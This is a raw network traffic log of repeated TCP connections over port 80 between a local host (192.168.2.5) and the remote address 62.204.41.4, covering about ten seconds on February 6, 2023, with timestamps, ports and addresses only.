Feb 6, 2023 14:18:24.552793980 CET	50047	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.553438902 CET	50048	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.613291979 CET	80	50047	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:24.614821911 CET	80	50048	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:24.614970922 CET	50047	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.615000010 CET	50048	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.617449999 CET	50048	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.693716049 CET	80	50048	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:24.693803072 CET	80	50048	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:24.693926096 CET	50048	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.802874088 CET	50048	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.803494930 CET	50049	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.877899885 CET	80	50049	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:24.877938986 CET	80	50048	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:24.878106117 CET	50048	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.878330946 CET	50049	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.878640890 CET	50049	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:24.938997030 CET	80	50049	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:24.941565990 CET	80	50049	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:24.944498062 CET	50049	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.079024076 CET	50050	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.079108953 CET	50049	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.139537096 CET	80	50049	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:25.140640020 CET	80	50050	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:25.140953064 CET	50050	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.140959978 CET	50049	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.142674923 CET	50050	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.204118967 CET	80	50050	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:25.208817005 CET	80	50050	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:25.208889961 CET	50050	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.318773031 CET	50050	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.319363117 CET	50051	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.380501032 CET	80	50050	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:25.381583929 CET	80	50051	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:25.381746054 CET	50050	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.381771088 CET	50051	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.382181883 CET	50051	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.444401979 CET	80	50051	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:25.447067022 CET	80	50051	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:25.447294950 CET	50051	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.555422068 CET	50051	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.555633068 CET	50052	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.617124081 CET	80	50052	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:25.617338896 CET	50052	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.617938042 CET	80	50051	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:25.618047953 CET	50051	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.625283957 CET	50052	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.685705900 CET	80	50052	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:25.689321041 CET	80	50052	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:25.689573050 CET	50052	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.806265116 CET	50052	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.806911945 CET	50053	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.871206999 CET	80	50052	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:25.871494055 CET	50052	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.872162104 CET	80	50053	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:25.872314930 CET	50053	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.872782946 CET	50053	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:25.934223890 CET	80	50053	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:25.937591076 CET	80	50053	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:25.937745094 CET	50053	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.053822994 CET	50053	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.054971933 CET	50054	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.115423918 CET	80	50053	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:26.115596056 CET	50053	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.116188049 CET	80	50054	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:26.116348028 CET	50054	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.116806030 CET	50054	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.178904057 CET	80	50054	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:26.183963060 CET	80	50054	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:26.184179068 CET	50054	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.288902998 CET	50054	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.289907932 CET	50055	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.350298882 CET	80	50054	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:26.350400925 CET	50054	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.352025032 CET	80	50055	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:26.352118969 CET	50055	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.352552891 CET	50055	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.416073084 CET	80	50055	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:26.418876886 CET	80	50055	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:26.418981075 CET	50055	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.534317017 CET	50055	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.535156965 CET	50056	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.596576929 CET	80	50056	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:26.596641064 CET	80	50055	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:26.596703053 CET	50056	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.596729994 CET	50055	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.630496025 CET	50056	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.691970110 CET	80	50056	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:26.694760084 CET	80	50056	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:26.694983006 CET	50056	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.803262949 CET	50056	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.804008961 CET	50057	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.864775896 CET	80	50056	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:26.864877939 CET	50056	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.865353107 CET	80	50057	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:26.865436077 CET	50057	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.865833998 CET	50057	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:26.928813934 CET	80	50057	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:26.931377888 CET	80	50057	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:26.931442976 CET	50057	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.037441015 CET	50057	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.038103104 CET	50058	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.098265886 CET	80	50058	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:27.098453999 CET	50058	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.099131107 CET	80	50057	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:27.099256992 CET	50057	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.099529982 CET	50058	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.159816980 CET	80	50058	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:27.164002895 CET	80	50058	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:27.164105892 CET	50058	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.272855043 CET	50058	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.273552895 CET	50059	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.374924898 CET	80	50058	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:27.374994040 CET	80	50059	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:27.375263929 CET	50058	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.375412941 CET	50059	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.376297951 CET	50059	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.436942101 CET	80	50059	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:27.439764977 CET	80	50059	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:27.439857960 CET	50059	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.555747986 CET	50059	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.557054996 CET	50060	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.627090931 CET	80	50059	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:27.627115965 CET	80	50060	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:27.627166986 CET	50059	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.627234936 CET	50060	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.627657890 CET	50060	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.689996958 CET	80	50060	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:27.692301035 CET	80	50060	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:27.692492008 CET	50060	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.833478928 CET	50060	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.834546089 CET	50061	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.965117931 CET	80	50061	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:27.965729952 CET	50061	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.966193914 CET	50061	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:27.966813087 CET	80	50060	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:27.966906071 CET	50060	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.026650906 CET	80	50061	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:28.031424046 CET	80	50061	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:28.031691074 CET	50061	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.147001982 CET	50061	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.147603035 CET	50062	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.207763910 CET	80	50061	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:28.207942963 CET	50061	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.208273888 CET	80	50062	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:28.208394051 CET	50062	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.208950043 CET	50062	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.269726992 CET	80	50062	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:28.272694111 CET	80	50062	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:28.275762081 CET	50062	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.382699966 CET	50062	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.383517981 CET	50063	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.443489075 CET	80	50062	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:28.443620920 CET	50062	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.444781065 CET	80	50063	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:28.448172092 CET	50063	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.448525906 CET	50063	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.510988951 CET	80	50063	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:28.513607979 CET	80	50063	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:28.513720989 CET	50063	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.618767023 CET	50063	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.619613886 CET	50064	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.680325985 CET	80	50063	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:28.680473089 CET	50063	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.681876898 CET	80	50064	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:28.682029963 CET	50064	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.682743073 CET	50064	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.745008945 CET	80	50064	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:28.748486042 CET	80	50064	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:28.748677969 CET	50064	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.850416899 CET	50064	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.851068020 CET	50065	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.912518024 CET	80	50065	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:28.912744045 CET	50065	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.912939072 CET	80	50064	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:28.913042068 CET	50064	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.913263083 CET	50065	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:28.974487066 CET	80	50065	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:28.978040934 CET	80	50065	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:28.978183031 CET	50065	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:29.085448027 CET	50065	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:29.086426973 CET	50066	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:29.145752907 CET	80	50066	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:29.145961046 CET	50066	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:29.146656990 CET	50066	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:29.146910906 CET	80	50065	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:29.146996975 CET	50065	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:29.206012964 CET	80	50066	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:29.211658955 CET	80	50066	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:29.211812019 CET	50066	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:29.352180004 CET	50066	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:29.353691101 CET	50067	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:29.411571980 CET	80	50066	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:29.411756039 CET	50066	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:29.414068937 CET	80	50067	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:29.414247036 CET	50067	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:29.442348003 CET	50067	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:29.503895044 CET	80	50067	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:29.506154060 CET	80	50067	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:29.506252050 CET	50067	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:29.880911112 CET	50068	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:29.880918980 CET	50067	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:29.941504002 CET	80	50067	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:29.941612005 CET	50067	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:29.942277908 CET	80	50068	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:29.942383051 CET	50068	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:29.946527004 CET	50068	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:30.007785082 CET	80	50068	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:30.012849092 CET	80	50068	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:30.013005018 CET	50068	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:30.147207022 CET	50068	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:30.147910118 CET	50069	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:30.208772898 CET	80	50068	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:30.208868980 CET	50068	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:30.209158897 CET	80	50069	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:30.209242105 CET	50069	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:30.250801086 CET	50069	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:30.312324047 CET	80	50069	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:30.317364931 CET	80	50069	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:30.317487001 CET	50069	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:30.430915117 CET	50069	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:30.431608915 CET	50070	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:30.492556095 CET	80	50069	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:30.493269920 CET	80	50070	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:30.493355989 CET	50070	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:30.493721008 CET	50070	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:30.502217054 CET	50069	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:30.555320024 CET	80	50070	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:30.560586929 CET	80	50070	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:30.560676098 CET	50070	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:31.036252022 CET	50070	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:31.098445892 CET	80	50070	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:31.098531961 CET	50070	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:31.159212112 CET	50071	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:31.218751907 CET	80	50071	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:31.218925953 CET	50071	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:31.256999969 CET	50071	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:31.316598892 CET	80	50071	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:31.321892023 CET	80	50071	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:31.322004080 CET	50071	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:31.431504011 CET	50071	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:31.432194948 CET	50072	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:31.491183996 CET	80	50071	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:31.491255999 CET	50071	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:31.493849993 CET	80	50072	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:31.493994951 CET	50072	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:31.495682955 CET	50072	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:31.557158947 CET	80	50072	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:31.560380936 CET	80	50072	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:31.560534000 CET	50072	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:32.654958963 CET	50072	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:32.655626059 CET	50073	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:32.716728926 CET	80	50072	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:32.716892958 CET	50072	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:32.717959881 CET	80	50073	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:32.718091011 CET	50073	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:32.799221992 CET	50073	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:32.861931086 CET	80	50073	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:32.869652987 CET	80	50073	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:32.869733095 CET	50073	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:32.992628098 CET	50073	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:32.993341923 CET	50074	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.053674936 CET	80	50074	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:33.053769112 CET	50074	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.054157972 CET	50074	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.055064917 CET	80	50073	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:33.055123091 CET	50073	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.114418030 CET	80	50074	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:33.121211052 CET	80	50074	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:33.121417046 CET	50074	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.226047039 CET	50074	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.227108002 CET	50075	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.286658049 CET	80	50074	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:33.286870003 CET	50074	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.287399054 CET	80	50075	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:33.287528992 CET	50075	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.288721085 CET	50075	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.349073887 CET	80	50075	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:33.352719069 CET	80	50075	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:33.352894068 CET	50075	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.460057974 CET	50075	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.461041927 CET	50076	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.520648003 CET	80	50076	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:33.520693064 CET	80	50075	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:33.520859003 CET	50075	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.524264097 CET	50076	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.527817011 CET	50076	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.587387085 CET	80	50076	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:33.590672016 CET	80	50076	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:33.590758085 CET	50076	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.694896936 CET	50076	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.695801020 CET	50077	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.754659891 CET	80	50076	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:33.754807949 CET	50076	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.757500887 CET	80	50077	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:33.757656097 CET	50077	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.758095980 CET	50077	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.819832087 CET	80	50077	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:33.822932005 CET	80	50077	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:33.823113918 CET	50077	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.929375887 CET	50077	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.930258989 CET	50078	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.991260052 CET	80	50077	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:33.991437912 CET	50077	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.991657019 CET	80	50078	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:33.994127989 CET	50078	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:33.994127989 CET	50078	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.055799961 CET	80	50078	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:34.060539007 CET	80	50078	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:34.065701008 CET	50078	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.163149118 CET	50078	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.163824081 CET	50079	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.224240065 CET	80	50079	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:34.224505901 CET	50079	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.224740028 CET	80	50078	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:34.224896908 CET	50078	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.225155115 CET	50079	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.285327911 CET	80	50079	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:34.289185047 CET	80	50079	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:34.289253950 CET	50079	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.397672892 CET	50079	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.398472071 CET	50080	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.461484909 CET	80	50080	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:34.461622953 CET	50080	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.461824894 CET	80	50079	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:34.461909056 CET	50079	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.462035894 CET	50080	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.521584034 CET	80	50080	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:34.524780989 CET	80	50080	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:34.524905920 CET	50080	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.632148981 CET	50080	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.633253098 CET	50081	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.692118883 CET	80	50080	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:34.692256927 CET	50080	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.695031881 CET	80	50081	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:34.695149899 CET	50081	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.695568085 CET	50081	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:18:34.766345024 CET	80	50081	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:34.766392946 CET	80	50081	62.204.41.4	192.168.2.5
Feb 6, 2023 14:18:34.766520977 CET	50081	80	192.168.2.5	62.204.41.4
